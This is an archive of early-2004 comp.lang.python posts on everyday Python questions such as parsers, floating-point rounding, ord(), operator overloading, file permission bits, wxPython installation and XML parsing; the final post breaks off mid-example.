> didn't find anything useful for me:
> 
> - PyLR seems promising but is for Python 1.5
> - Yappy seems promising, but I couldn't get it to work.  It doesn't even
> compile the main example in it's documentation
> - mxTexttools is way complicated.  I'd like something that I can give a BNF
> grammar to handle.
> 
> Is there a good parsing module for python that I missed?
> 
> TIA,
> Viktor
http://www.python.org/sigs/parser-sig/

I used Ply for a project a while ago.  It felt comfortable.
http://systems.cs.uchicago.edu/ply/
-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From mborgerding at cinci.rr.com  Sun Feb  1 13:25:04 2004
From: mborgerding at cinci.rr.com (Mark Borgerding)
Date: Sun, 01 Feb 2004 18:25:04 GMT
Subject: JPG - PNG conversion problem
In-Reply-To: <mailman.796.1075125724.12720.python-list@python.org>
References: <mailman.796.1075125724.12720.python-list@python.org>
Message-ID: <4wbTb.104084$f97.62358@fe3.columbus.rr.com>

Raaijmakers, Vincent (GE Infrastructure) wrote:
> Who can explain the huge increase in size when I convert a JPG into a PNG format using PythonMagick:
> I read the JPG from a video server and has a resolution of 352x240, size is about 15k
> After my PNG conversion and resizing the resolution to 160*120, the size is 64k!!


Is the output png a color palette image?  See if you can get acceptable 
results by limiting the color palette to 256 colors or so.



From maxm at mxm.dk  Mon Feb  2 02:04:53 2004
From: maxm at mxm.dk (Max M)
Date: Mon, 02 Feb 2004 08:04:53 +0100
Subject: OT: why do web BBS's and blogs get so slow?
In-Reply-To: <7xfzdus742.fsf@ruckus.brouhaha.com>
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<401ce2b0$0$282$edfadb0f@dread12.news.tele.dk>
	<7xfzdus742.fsf@ruckus.brouhaha.com>
Message-ID: <401df685$0$248$edfadb0f@dread12.news.tele.dk>

Paul Rubin wrote:

> Max M <maxm at mxm.dk> writes:
> 
>>But the biggest problem is without a doubt a lack of caching.

> I'd like to think that a well designed system can serve dynamic pages
> almost as fast as static ones.  If the page says "Hi <username>" at
> the top, all it really needs to be doing is concatenating a few
> in-memory strings together before serving the page.

Yes. Or even faster if "Hi <username>" was two gifs that could be 
loaded. Depending on whether you are logged on or not.

     "Hi <username>" or "Log On"

Or the "personalised" information could be presented in a an iframe, or 
by a server side include.

regards Max M


From paul at prescod.net  Thu Feb 12 12:23:16 2004
From: paul at prescod.net (Paul Prescod)
Date: Thu, 12 Feb 2004 09:23:16 -0800
Subject: How to avoid "f.close" (no parens) bug?
In-Reply-To: <96F3EC4BDF504540BB9715CBE9DACB8B081B0DB2@pa-mail1.legato.com>
References: <96F3EC4BDF504540BB9715CBE9DACB8B081B0DB2@pa-mail1.legato.com>
Message-ID: <402BB684.4010807@prescod.net>

Michael Pyle wrote:

> We used this to test whether the application was running in the 
> development environment or "frozen" into an executable. That knowledge 
> in turn was used to decide whether to create the "Debug" menu and allow 
> certain command line parameters. Very handy.
> 
> try:
>         sys.frozen
> except AttributeError:
>         options.append( 'debug-on' )

A cleaner and probably more efficient way of doing this is:

if not hasattr(sys, "frozen"):
	options.append("debug-on")

  Paul Prescod







From dialton3.NOSPAM_ at virgilio.it  Sat Feb 28 12:56:26 2004
From: dialton3.NOSPAM_ at virgilio.it (Valentino Volonghi aka Dialtone)
Date: Sat, 28 Feb 2004 18:56:26 +0100
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com> <c1obji$8m9$1@solaris.cc.vt.edu>
	<40408c29$0$2435$626a14ce@news.free.fr>
	<c1qk0j$9o5$1@solaris.cc.vt.edu>
Message-ID: <x167su1wlawm$.1evia6vqxntzw$.dlg@40tude.net>

In data Sat, 28 Feb 2004 12:46:13 -0500, Bart Nessux ha scritto:

> The OP was comparing Python to PHP, not ZOPE to PHP. PHP by itself is a
> natural Web programming language, Python is not. Google for dynamic DB
> driven programming tools... how may PHP returns vs Python returns are
> there?

Since he asked about how to use python for web purposes, one could expect
that he doesn't know what tools are needed to make python one of the best
web programming languages. Zope, Quixote, Cheetah and WebWare, Twisted
with Woven or Nevow (etc.) are all well known products in the python
community.
 
>> The only points I see in favor of PHP are :
>> - it's a de facto standard, widely used, widely available, and well
>> established
> 
> That's exactly right. That's my point. I meant nothing more.

<cite>
Sorry, I disagree. As a business decision, it does border on stupidity.
Why contemplate doing something with Python that would be tedious and
difficult at best when PHP can do this task easily and quickly??? From a
business (read practical point of view) it's stupid. From a religious (Mac
fanatic like point of view), it makes sense.
</cite>

Actually it seems you meant that a web solution using python would have
been both difficult and tedious...

-- 
Valentino Volonghi aka Dialtone
Now using Windows for Notebook Hw failure
X Python Newsreader developer
http://sourceforge.net/projects/xpn/


From richardshea at fastmail.fm  Thu Feb 19 06:06:47 2004
From: richardshea at fastmail.fm (Richard Shea)
Date: 19 Feb 2004 03:06:47 -0800
Subject: How can I waste time ?
References: <282f826a.0402181935.2757359f@posting.google.com>
Message-ID: <282f826a.0402190306.406c9a1f@posting.google.com>

thanks very much to all of you - just what's needed !

thanks again

richard shea.


From bignose-hates-spam at and-benfinney-does-too.id.au  Wed Feb 18 20:32:29 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 19 Feb 2004 12:22:29 +1050
Subject: Bug  in  "sys.settrace" ??
References: <6ee58e07.0402181707.26418b2c@posting.google.com>
Message-ID: <slrnc385mt.75t.bignose-hates-spam@iris.polar.local>

On 18 Feb 2004 17:07:39 -0800, Lothar Scholz wrote:
> I use sys.settrace in my console application to stop any endless loop
> but in the following loop:
> 
> a = 0
> while 1:
> 	a = a + 1

As presented, we can't know how you're using sys.settrace, nor how this
code relates to the rest of the program.

Please show a complete, minimal example that shows the behaviour you're
experiencing.  This will do a few things:

  - We'll be able to see what you're seeing, unless the problem is
    somehow dependent on your computer.
  - You'll cut away any code that doesn't relate to the problem (hint:
    keep cutting until the problem doesn't appear).
  - In reducing the problem to its essentials, you will gain more
    insight into what is actually happening, and possibly solve it
    yourself.

-- 
 \      "A society that will trade a little liberty for a little order |
  `\    will lose both, and deserve neither."  -- Thomas Jefferson, in |
_o__)                                              a letter to Madison |
Ben Finney <http://bignose.squidly.org/>


From max at alcyone.com  Sat Feb 28 21:11:44 2004
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 28 Feb 2004 18:11:44 -0800
Subject: Identity dictionnary
References: <js-665C5B.03054329022004@biggoron.nerim.net>
Message-ID: <40414A60.F5F64A96@alcyone.com>

Jean-Sebastien Roy wrote:

> I'm trying to create an object to be used as a key in a dictionary,
> where comparison (for key retrieval) would be done by 'is' instead of
> __eq__.
> (__eq__ is defined in this object, but serve another purpose and does
> not return a boolean).

Why would you override __eq__ in such a bizarre way?

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ You must surely know / If man made Heaven, then man made Hell
    -- Level 42


From lbates at swamisoft.com  Fri Feb 13 10:42:51 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Fri, 13 Feb 2004 09:42:51 -0600
Subject: 6 Qustions about Python: Does it do GUI?  more...
References: <mailman.11.1076682913.31398.python-list@python.org>
Message-ID: <_Y2dnXY1rN_mbbHdRVn-vw@comcast.com>

See answers below:

-Larry Bates
-------------------
"Will" <k4bda at yahoo.com> wrote in message
news:mailman.11.1076682913.31398.python-list at python.org...
> I just discovered Python and looked briefly at one of the tutorials
> for beginners...
>
> It looks a lot like the old Command line Basic... I'm sure it does
> much more but...
>
> 1 - Can you create windows, buttons, user input fields, etc as you
> can with Visual Basic?
>
> Answer:  Yes, take a look at wxPython interface at:
> http://www.wxpython.org/.  There are also several other
> interfaces Tk, Qt, etc. but I think wx is the most like
> Windows.
>
> 2 - Can you call Windows Procedures or what ever they call them
> these days?
>
> Answer: You can call both windows .DLLs and COM objects
> for .DLLs see
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146847
> for COM objects get a copy of Python Programming on Win32.  It contains
> a ton of examples on how to interface Python with the Windows world.
>
> 3 - Can you create your own objects with a bunch of methods and
> properties?
>
> Answer: Absolutely.  You can create Python objects as well as COM objects
> that can be called by other programming languages (e.g. VB).  This is
> one of the most powerful features of Python.  Everything in Python is
> an object (even the builtin methods). But unlike some other languages
> the basic set of keywords is more like old Fortran (very short) so you
> aren't constantly forgetting the language.
>
> 4 - Can you create a Windows program that looks and feels like a
> Windows program?
>
> Answer: Absolutely.  You can even call the same dialogues that Windows
> calls so that it looks EXACTLY like a Microsoft product.  Of course if
> if you do the program will only run on Windows.  If you use wxPython
> your application would be portable (e.g. Linux, Mac, etc.).  For a
> good example of how well you can integrate Python into the "Microsoft"
> world take a look at SpamBayes (spam filtering plug in for Outlook) at
> http://spambayes.sourceforge.net/.  Download ActiveState's excellent
> Python distribution and you can see.  It is all written in Python, but
> acts like any other Windows application.
>
> 5 - Does it come with a compiler or must the user have the
> interpreter on their machine?
>
> Answer: No compiler (works like Java), but you can "freeze" the
> application so that you don't have to install Python interpreter.
> One example: http://starship.python.net/crew/theller/py2exe/
> I use py2exe and InnoSetup (http://www.jrsoftware.org/isinfo.php)
> to freeze and distribute software.  Both of these are open source
> (free) and have proven to work for me.  I've written COM objects,
> NT Services and regular programs and have frozen and distributed
> them using this method.
>
> 6 - Why another language? Easier than C or C++ or Visual C ?? More
> powerful than Visual Basic or the competing Borland productg?? Why
> Python?
>
> Answer: Much easier than C or C++, more powerful than VB. Portable
> across Operating Systems (unlike VB).  Programming in Python becomes
> as easy as writing pseudocode because properly written Python looks
> exactly like the pseudocode that you would write down at the beginning
> of an application.  You can write COM objects, NT services, GUI
> applications, batch-like files, web services, and simple conversion
> routines all in one language.  You eventually get good at the
> language because you aren't constantly switching between languages.
> The intrepreted nature of Python also allows you to do things that
> are very difficult in compiled languages.  The included standard
> library that includes routines for SMTP mail, FTP, HTTP, Zip/UnZip,
> date/time conversions, etc. can solve the vast majority of problems
> right out of the box.  With other languages you must purchase lots
> of add-ons to achieve the same functionality (and constantly upgrade
> them whenever you get a new version of the language).  There are
> excellent open-source tools like Python Imaging Library (PIL) and
> Report Lab/Graphics (PDF generation) that would cost 100's if not
> thousands of dollars.
>
> I'm interested as I never really took the time to become much of a C
> programmer (or C++ or Visual C) - I've done lot's of assembly
> language/embedded processor stuff & years ago Basic and some Visual
> Basic... before .net... and wondered if Python would do me for some
> projects I have always wanted to do?
>
> Thanks for any info.
>
> Will
>
>
>




From alan.gauld at btinternet.com  Mon Feb 23 03:30:29 2004
From: alan.gauld at btinternet.com (Alan Gauld)
Date: Mon, 23 Feb 2004 08:30:29 +0000
Subject: Help: Is Python suitable?
References: <ed89f8f2.0402222221.47b6213f@posting.google.com>
Message-ID: <1bej30tr6ge99rlsovgm4itf5nmusmest1@4ax.com>

On 22 Feb 2004 22:21:47 -0800, anhtt at hotmail.com (Tran Tuan Anh)
wrote:
> I need to read in a simple textual language (does Python have a
> scanner, and parser?), 

Yes, it has several and a framework for building custom ones.

> I wonder if Python is more suitable for this kind of job?

It can certainly do what you ask.

> Hope someone could enlighten me on this matter?

If you haven't done so set asifde a few hours to whiz through the
official Python tutorial, it will be your best bet for getting up
to speed on Python.

THen check out the parser modules in the standard PYthon library
(documentation online or downloadable). Also for this kind of
thing search out David Mertz's online book "Text Processing 
in Python" (or buy the paper version!)

Alan G.
Author of the Learn to Program website
http://www.freenetpages.co.uk/hp/alan.gauld


From billinga1 at cox.net  Mon Feb 16 23:00:27 2004
From: billinga1 at cox.net (Arthur Billingsley)
Date: Mon, 16 Feb 2004 23:00:27 -0500
Subject: the best book for learning python !?
In-Reply-To: <yvcYb.26185$si2.13662@newssvr25.news.prodigy.com>
References: <b15d2792.0402161313.6902cc27@posting.google.com>
	<yvcYb.26185$si2.13662@newssvr25.news.prodigy.com>
Message-ID: <NlgYb.146$Ru5.3@okepread03>

I just picked up a copy of Learning Perl by Lutz/Ascher (OReilly). This is
the best intermediate/expert reference I've seen to date on Python. I can
highly recommend this effort. Thanks to Mark and David.

Art


python newbie wrote:

>The new second edition of Learning Python is outstanding.  Not because of
>the fact that it's recent (2004), but it just simply surpassed the first
>edition in coverage.  Exceptions covered in 3 chapters, is one of my
>personal reasons.
>
>I actually put my Quick Python and Python in a Nutshell back on the
>bookshelf, just for now, and stopped doing anything with my current Python
>app (a backup program), until I've read this edition of L.P.  and inhaled
>the concepts better.
>You asked for books, specifically, so I won't mention the tutorials
>available on the net.
>Have fun,
>Steve
>
>
>"post400" <post400 at prontomail.com> wrote in message
>news:b15d2792.0402161313.6902cc27 at posting.google.com...
>  
>
>>Hi ,
>>
>>I was just wondering ( yeah I know it's not the first time this
>>question pops up )
>>what would be the best 2 or 3 books for someone who wants to learn
>>Python , already experienced in other non-OOP languages .It takes time
>>to browse endlessly on the net , in a bookshop or a library for THOSE
>>books that are really useful !
>>
>>Thanks ,
>>post400
>>    
>>
>
>
>  
>
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From danb_83 at yahoo.com  Mon Feb 16 15:08:49 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 16 Feb 2004 12:08:49 -0800
Subject: Simple addition
References: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>
Message-ID: <ad052e5c.0402161208.4e6c47d@posting.google.com>

Mathieu Malaterre <mmalater at nycap.rr.com> wrote in message news:<LWPXb.58968$n62.56888 at twister.nyroc.rr.com>...
> Hi,
> 
>     I tried a simple addition with python and I don't understand what is 
> going on:
> 
> $python
>  >>464.73+279.78
> 744.50999999999999

You computer does arithmetic in binary.  None of these numbers can be
exactly represented as a binary fraction.

464.73 = bin 111010000.10 11101011100001010001 11101011100001010001...
279.78 = bin 100010111.1 10001111010111000010 10001111010111000010...

They get rounded to the nearest 53-bit float:

464.73 ~= 0x1.D0BAE147AE147p+8
279.78 ~= 0x1.17C7AE147AE14p+8
          --------------------
          0x2.E8828F5C28F5Bp+8
       ~= 0x1.744147AE147AEp+9 after normalization

The exact decimal equivalent of this sum is
744.509999999999990905052982270717620849609375.  Python's repr()
rounds this to 17 decimal digits, or "744.50999999999999".


From nick at no.spam.org  Wed Feb 18 05:29:04 2004
From: nick at no.spam.org (Nick Efford)
Date: Wed, 18 Feb 2004 10:29:04 +0000
Subject: XML Parsing
References: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
	<5z3Yb.3920$Cd6.177500@news20.bellglobal.com>
	<c0rkhb$1ai18a$1@ID-71831.news.uni-berlin.de>
Message-ID: <pan.2004.02.18.10.29.04.429518@no.spam.org>

On Mon, 16 Feb 2004 23:45:16 +0000, James Kew wrote:

> "Chris Herborth" <chrish at cryptocard.com> wrote in message
> news:5z3Yb.3920$Cd6.177500 at news20.bellglobal.com...
>>
>> PyXML on Sourceforge (http://pyxml.sourceforge.net/) has faster
>> DOM-producing routines.
> 
> Which are? I like PyXML, but well-documented it ain't.

What about O'Reilly's "Python and XML"?...


N.



From JimJJewett at yahoo.com  Tue Feb 24 23:19:21 2004
From: JimJJewett at yahoo.com (Jim Jewett)
Date: 24 Feb 2004 20:19:21 -0800
Subject: [logging] problems in Python 2.3
References: <c15rkc$2ea5$1@ns.felk.cvut.cz>
Message-ID: <cab22418.0402242019.2adfb657@posting.google.com>

Frantisek Fuka <fuka at fuxoft.cz> wrote in message news:<c15rkc$2ea5$1 at ns.felk.cvut.cz>...
> In fact, no matter from which module I call the logging method, 
> the resulting log says that the filename of the caller is:

> \tmp\python.2664\usr\lib\python2.3\logging\__init__.py
 
> (this seems to me like a reference to the logging module itself combined 
> with some sort of weird temporary storage)

Are you by any chance running from inside an editor, such as
emacs or even idle?  If the module somehow gets hold of a 
second sourcefile (and this looks like a copy tied to your
current process -- like the names for toplevel under emacs),
then this won't match the original __srcfile__.

You may wish to override the portion that finds a caller, so
that it will throw out, say, anything matching .*\logging\__init__.py([co])?

-jJ


From invalid at hazen.net  Thu Feb 26 14:48:56 2004
From: invalid at hazen.net (John Hazen)
Date: Thu, 26 Feb 2004 11:48:56 -0800
Subject: Dumb noob q: ASCII value of a character
In-Reply-To: <c1ldn6$if2$1@news.freedom2surf.net>
References: <c1ldn6$if2$1@news.freedom2surf.net>
Message-ID: <20040226194856.GA3073@gate2.hazen.net>

* Steve Horsley <shoot at the.moon> [2004-02-26 11:28]:
> How can I get the ASCII value of a character, e.g. I have:
> 
> str = "A B"
> for index in range(0, len(str)):
>    value = WHAT_GOES_HERE?(str[index])
>    print value
> 
> 
> and I hope to get:
> 65
> 32
> 66

ord.  

(And yes, it's a little hard to find.  The first time I had to
solve this problem, I used:

>>> import string
>>> string.index(string._idmap,'A')
65

)

Also of note:  Strings can be used as iterators, so there's no need to
use that indexing trick:

>>> str = "A B"
>>> for char in str:
...   print ord(char)
... 
65
32
66
>>> 


-John
< my_first_name AT my_last_name DOT net >



From nhodgson at bigpond.net.au  Tue Feb 24 03:19:21 2004
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Tue, 24 Feb 2004 08:19:21 GMT
Subject: python-dev Summary for 2004-01-01 through 2004-01-31
References: <mailman.19.1077587431.8594.python-list@python.org>
Message-ID: <dOD_b.73966$Wa.29376@news-server.bigpond.net.au>

Brett C.:

> --------------------------
> Shutting Unicode errors up
> --------------------------
> Enough people have asked for the ability to silence Unicode errors that
> Martin v. L??wis suggested adding a module attribute in sys to specify
> whether Unicode errors should be ignored or not.

   It is particularly appropriate that this item should exhibit a character
encoding problem. I'm sure Martin doesn't have any characters that weird
(square root,  partial differential) in his name. Something is wrong in the
tool chain, but it doesn't look like a simple incorrect charset declaration.
Maybe reST has a problem with non-ASCII characters.

   Neil




From james at logicalprogression.net  Mon Feb  2 06:59:35 2004
From: james at logicalprogression.net (James Henderson)
Date: Mon, 2 Feb 2004 11:59:35 +0000
Subject: How do I overload 'equals'?
In-Reply-To: <bvlcnc$to62d$1@ID-198792.news.uni-berlin.de>
References: <692feddd.0402020252.7c1abcb@posting.google.com>
	<bvlcnc$to62d$1@ID-198792.news.uni-berlin.de>
Message-ID: <200402021159.36087.james@logicalprogression.net>

On Monday 02 February 2004 11:36 am, Mirko Zeibig wrote:
> Equis Uno said the following on 02/02/2004 11:52 AM:
> > Hi there,
> >
> > I just figured out how to use __add__() to overload the "+" operator
> > for objects of a class.
> >
> > According to googel queries, I see other functions available to me for
> > overloading other operators:
> >
> > __mul__(), __sub__(), ...
> >
> > I was hoping to overload "=" or use some string to do assignment with
> > side effects.
> >
> > For example,
> >
> > obj1 = ClassX('green')
> > obj2 = ClassX('red')
> >
> > obj1 superEqual obj2
> >
> > I'd like to be able to control the behavior of the superEqual operator
> > such that it does assignment with side effects.
> >
> > For example, maybe it would do this:
> >
> > obj = obj2
> > incrementEqualityCounter()
> > addAuditRecordToDB()
> >
> > How do I do this in Python?
>
> Overloading operators is explained in
> http://python.org/doc/2.3.3/lib/module-operator.html#l2h-490
>
> Maybe you are looking for __eq__? After overloading it, you may
> say:
> if obj1 == obj2:
>    ...
>  From what you wrote I think you want to overload the assign operator
> (single =) . This is not supported in Python directly, but you may take
> a look at descriptors:
> http://users.rcn.com/python/download/Descriptor.htm

Descriptors, or just defining good old fashioned __getattr__ 
(http://www.python.org/doc/current/ref/attribute-access.html), can only 
overload assignment to attributes.

Changing the meaning of "=", as I believe you want to do, is the kind of 
change to the syntax of the language that Python by design does not allow in 
order to maintain consistency across different people's code (and no doubt 
for lots of other good reasons).  If you really want to do this perhaps you'd 
be better off using Io <wink>.  Otherwise you'll have to settle for defining 
a function "superEqual" (or better "superAssign", since"=" is an assignment 
operator not an equality operator.)

James
-- 
James Henderson, Logical Progression Ltd.
http://www.logicalprogression.net/
http://sourceforge.net/projects/mailmanager/




From mwh at python.net  Wed Feb 25 07:05:23 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 25 Feb 2004 12:05:23 GMT
Subject: Nostalgic instruction sequences (Re: Python Productivity Gain?)
References: <mailman.70.1077667989.8594.python-list@python.org>
	<c1h33t$1isejn$1@ID-169208.news.uni-berlin.de>
Message-ID: <m3ptc3fjpa.fsf@pc150.maths.bris.ac.uk>

"Greg Ewing (using news.cis.dfn.de)" <wmwd2zz02 at sneakemail.com> writes:

> Delaney, Timothy C (Timothy) wrote:
> > So you were setting memory location 0 to the address of
> > 'ExitToShell' using Macsbug,
> 
> Or the built-in monitor that you got when MacsBug
> wasn't installed.

Indeed; when MacsBug was installed you typed "es" (I think).

I don't recall using the A-trap trick to get out of my crashed
application actually working very often.

How I miss old versions of Mac OS... not at all, actually.

> A MacsBug command I remember using a lot on my
> Mac Plus went something like
> 
>    DM DFFFFF1F
> 
> I can't remember the exact number. My only record
> of it was written on a box of stick-on labels that
> I kept, long after it was empty, in a strategic place
> on my desk. Recently I threw it out, only remembering
> its significance afterward. Not that it really mattered,
> since it didn't work on any model later than a Mac
> Plus anyway.
> 
> Oh, what did it do? Another virtual chocolate fish
> is on offer for answering that...

Pff, no idea.  My (parents') first Mac ran System 7...

I was somewhat startled to notice that when I installed MacsBug on my
parents' newer Mac, there were COLOURS!  What is the world coming to?

Cheers,
mwh

-- 
  TRSDOS: Friendly old lizard. Or, at least, content to sit there
  eating flies.            -- Jim's pedigree of operating systems, asr


From simoninusa2001 at yahoo.co.uk  Tue Feb  3 17:02:40 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 3 Feb 2004 14:02:40 -0800
Subject: Installing wxPython and Friends
References: <27d2bd1f.0402021058.56e6b4c6@posting.google.com>
	<30260531.0402021553.acc06ca@posting.google.com>
	<30260531.0402022332.4c18bfc0@posting.google.com>
	<27d2bd1f.0402030421.6a8ccc1f@posting.google.com>
	<slrnc1vggl.e48.sax@csmisc72.cs.chalmers.se>
Message-ID: <30260531.0402031402.46d18689@posting.google.com>

These are the RPM's I used:

http://prdownloads.sourceforge.net/wxpython/wxPythonGTK-py2.3-2.4.2.4-1.i386.rpm

http://prdownloads.sourceforge.net/wxwindows/wxGTK-2.4.2-1.i386.rpm

Maybe you tried the static wxWindows RPM? What did rpm say when it
baulked - did you use 'rpm -Uvh' as root?


From nav+posts at bandersnatch.org  Fri Feb  6 13:09:05 2004
From: nav+posts at bandersnatch.org (Nick Vargish)
Date: 06 Feb 2004 13:09:05 -0500
Subject: Best Beginner's Guide To Python?
References: <3b48d777.0402052148.3cd8e16c@posting.google.com>
	<IjHUb.32057$P17.24576@fed1read03>
	<xqx7jz0d3op.fsf@cola2.ca.boeing.com>
Message-ID: <m3ad3w9j26.fsf@tanelorn.bandersnatch.org>

"sean" <sean_berry at cox.net> writes:

> 2) No use of curly braces {} to group code.  This is by far my
> biggest problem with python.  I have, on more than one occasion,
> needed to put some code in a loop for testing purposes.  In java,
> c, perl, etc... you write your looping statement and throw a
> couple of braces around the code you want it to use.  In python,
> you write your looping statement... but then have to indent each
> line that will be looping.  After testing, all indents must then
> be deleted.

This is, of course, a feature of Python. 

Working with other peoples' C code, I've seen many examples where a
block of code was turned into a loop for "testing", and since it
worked better, the loop was never removed. Of course, the block never
gets indented. Hilarity ensues.

Nick

-- 
#  sigmask  ||  0.2  ||  20030107  ||  public domain  ||  feed this to a python
print reduce(lambda x,y:x+chr(ord(y)-1),' Ojdl!Wbshjti!=obwAcboefstobudi/psh?')


From michael at foord.net  Fri Feb 13 10:56:35 2004
From: michael at foord.net (Fuzzyman)
Date: 13 Feb 2004 07:56:35 -0800
Subject: Understanding CHMOD
References: <8089854e.0402130055.35ed927f@posting.google.com>
	<bfhuf1-b0u.ln1@eskimo.tundraware.com>
Message-ID: <8089854e.0402130756.70c02016@posting.google.com>

Tim Daneliuk <tundra at tundraware.com> wrote in message news:<bfhuf1-b0u.ln1 at eskimo.tundraware.com>...
> Fuzzyman wrote:
> 
> > Ok.... so I might be a windoze user trying to program CGIs for a Linux
> > server.... but Python doesn't seem to go out of it's way to make
> > understanding file attributes difficult. The python manual is
> > appalling in this are a :-(
> 
> These are Unix-style permissions and the right place to
> get more info would be a Unix OS man page for 'chmod'.
> 
> As it happens, last year, I wrote a Python program that
> examines file attributes portably across Win32 and Unix.
> You can have a look at the code that does this (among many
> other things) at:
> 
> http://www.tundraware.com/Software/twander/

Thanks very much.
I'll have a look - much appreciated.

Fuzzy

http://www.voidspace.org.uk/atlantibots/pyhtonutils.html

> 
> 
> > 
> > Anyway - I think I've finally worked out that the correct way to get
> > (rather than set) the mode of a file is :
> > 
> > from stat import *
> > S_IMODE(os.stat(filepath)[ST_MODE])
> > 
> > Obvious huh !
> > 
> > The result will be some bitmasked combination of the following ?
> > 
> > statlist = [S_ISUID, S_ISGID, S_ENFMT, S_ISVTX, S_IREAD, S_IWRITE,
> > S_IEXEC, S_IRWXU, S_IRUSR, S_IWUSR, S_IXUSR, S_IRWXG,
> >  S_IRGRP, S_IWGRP, S_IXGRP, S_IRWXO, S_IROTH, S_IWOTH, S_IXOTH]
> > 
> > Which mean ??????
> > 
> > Having obtained a result from S_IMODE(os.stat(filepath)[ST_MODE]), how
> > do I work out what it means ?
> > 
> > Thanks.
> > 
> > Fuzzy
> > 
> > http://www.voidspace.org.uk/atlantibots/pythonutils.html


From goodger at python.org  Sat Feb 21 13:28:04 2004
From: goodger at python.org (David Goodger)
Date: Sat, 21 Feb 2004 13:28:04 -0500
Subject: Reminder: Docutils sprint at PyCon DC 2004
Message-ID: <4037A334.5020700@python.org>

I will be coaching a Docutils sprint at PyCon DC 2004, from March 20
(Saturday) to March 23 (Tuesday), in one- or two-day blocks or as
suggested by participants.  Anyone interested in Docutils (including
reStructuredText) is invited to join in.  Participation in the sprints
is free, and Early Bird registration for PyCon ends tomorrow (February
22).

* PyCon: http://pycon.org/
* Docutils sprint: http://www.python.org/cgi-bin/moinmoin/DocutilsSprint

Hope to see you there!

-- 
David Goodger                               http://python.net/~goodger
For hire: http://python.net/~goodger/cv





From eric at zomething.com  Sun Feb 22 20:17:50 2004
From: eric at zomething.com (Eric @ Zomething)
Date: Sun, 22 Feb 2004 17:17:50 -0800
Subject: Help With EOF character and regular expression matching: URGENT
Message-ID: <20040222171750.1756896657.eric@zomething.com>

> Currently I have one problem and I dont know if there
> are any good ways to solve it in python:
> 
> I want to create a dictionary of words out of the spam
> datasets and legitimate email datasets. While I can
> extract each and every word from the spam and
> legitimate emails it is not advisable to do so. I want
> to strip off the headers,
> like:
> To
> From
> Returned Path
> etc...
> and also the characters that are not ASCII and also
> the characters that are between <> so as to avoid HTML
> Tags.
> I have zero experience with regular expressions
> but if you or some one can give me an idea/snippet I
> think I can make it work.
> Also while I can write the words extracted to a file
> what are the advisable ways to associate them with the
> index? Also I want to avoid writing in the dictionary
> the same 2 words with different indexes?
> Any help is highly appreciated...


I think Python is actually great for these kind of tasks.  One tool to help you with RE would be the "redemo.py" module.  I think that came with the Python 2.3 distribution.

Run redemo, paste in your text sample, and you can test your regular expressions interactively.

Also, maybe this will help with dups:

>>> text=[]
# ... words added to the list
# ... list sorted just to make the duplicates visually obvious here
>>> for each in text:
	print each

bigger
bigger
bigger
dam
damn
damn
girls
girls
girls
organ
organ
petite
sex
sex
sex
tasty
tea
tea
teen
teen
ten

>>> badList=[]
>>> for each in text:
	if each not in badList:
		badList.append(each)

>>> for each in badList:
	print each

	
bigger
dam
damn
girls
organ
petite
sex
tasty
tea
teen
ten
>>> 



From aahz at pythoncraft.com  Fri Feb 13 10:27:12 2004
From: aahz at pythoncraft.com (Aahz)
Date: 13 Feb 2004 10:27:12 -0500
Subject: Python as a teaching (visualization) tool
References: <c14vf1-386.ln1@jowls.lairds.org>
Message-ID: <c0iqcg$kp7$1@panix2.panix.com>

In article <c14vf1-386.ln1 at jowls.lairds.org>,
Kyler Laird  <Kyler at news.Lairds.org> wrote:
>
>I don't mind building my own tools from rough building blocks,
>but I'm going to watch for tools that would be more appropriate
>for classroom presentations.  I welcome suggestions.

Cool!  Gonna be at PyCon?  There should be lots of opportunities for
discussions like this there.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From ivoras at __geri.cc.fer.hr  Fri Feb 13 16:10:18 2004
From: ivoras at __geri.cc.fer.hr (Ivan Voras)
Date: Fri, 13 Feb 2004 22:10:18 +0100
Subject: way to remove all non-ascii characters from a file?
In-Reply-To: <defa238f.0402131112.436997c1@posting.google.com>
References: <defa238f.0402131112.436997c1@posting.google.com>
Message-ID: <c0jefp$8t7$1@bagan.srce.hr>

omission9 wrote:

> I have a text file which contains the occasional non-ascii charcter.
> What is the best way to remove all of these in python?

file("file2","w").write("".join(
	[ch for ch in file("file1", "r").read()
	if ch in string.ascii_letters]))

but this will also strip line breaks and whatnot :)

(n.b. I didn't actualy test the above code, and wrote it because of 
amusement value :) )



From sigurd at 12move.de  Fri Feb 13 20:00:57 2004
From: sigurd at 12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=)
Date: Sat, 14 Feb 2004 02:00:57 +0100
Subject: Maintaining a list
References: <b4a8ffb6.0402131633.1cb220d6@posting.google.com>
Message-ID: <m3k72qtrlq.fsf@hamster.pflaesterer.de>

On 14 Feb 2004, Thomas Philips <- tkpmep at hotmail.com wrote:

> subroutime - the list must not disappear as soon as the subroutine is
> exited). What's the simplest way to do this?

> I'd like to write something of the form
> def myroutine(x)
>     mylist = mylist.append(x)
>     print mylist
>     .
>     .
>     return 

> I'd like to call myroutine over and over again from a main program,
> and want it to display the following behavior

> 1. The first time myroutine is called
> myroutine("Item 1")
> ["Item 1"]

> 2. The second time myroutine is called
> myroutine("Item 2")
> ["Item 1", "Item 2"]
[...]
> The list must be initialized to an empty list before the first call,
> and must be preserved between calls. I have not got to object oriented
> programming as yet, so please keep the solution simple.

So if you don't want to use a class and not a global var create a
closure or use the feature that an optional argument gets evaluated an
bound the time the function is defined.

So if you write:

>>> myfunc(1)
[1]
>>> myfunc(2)
[1, 2]
>>> myfunc(3)
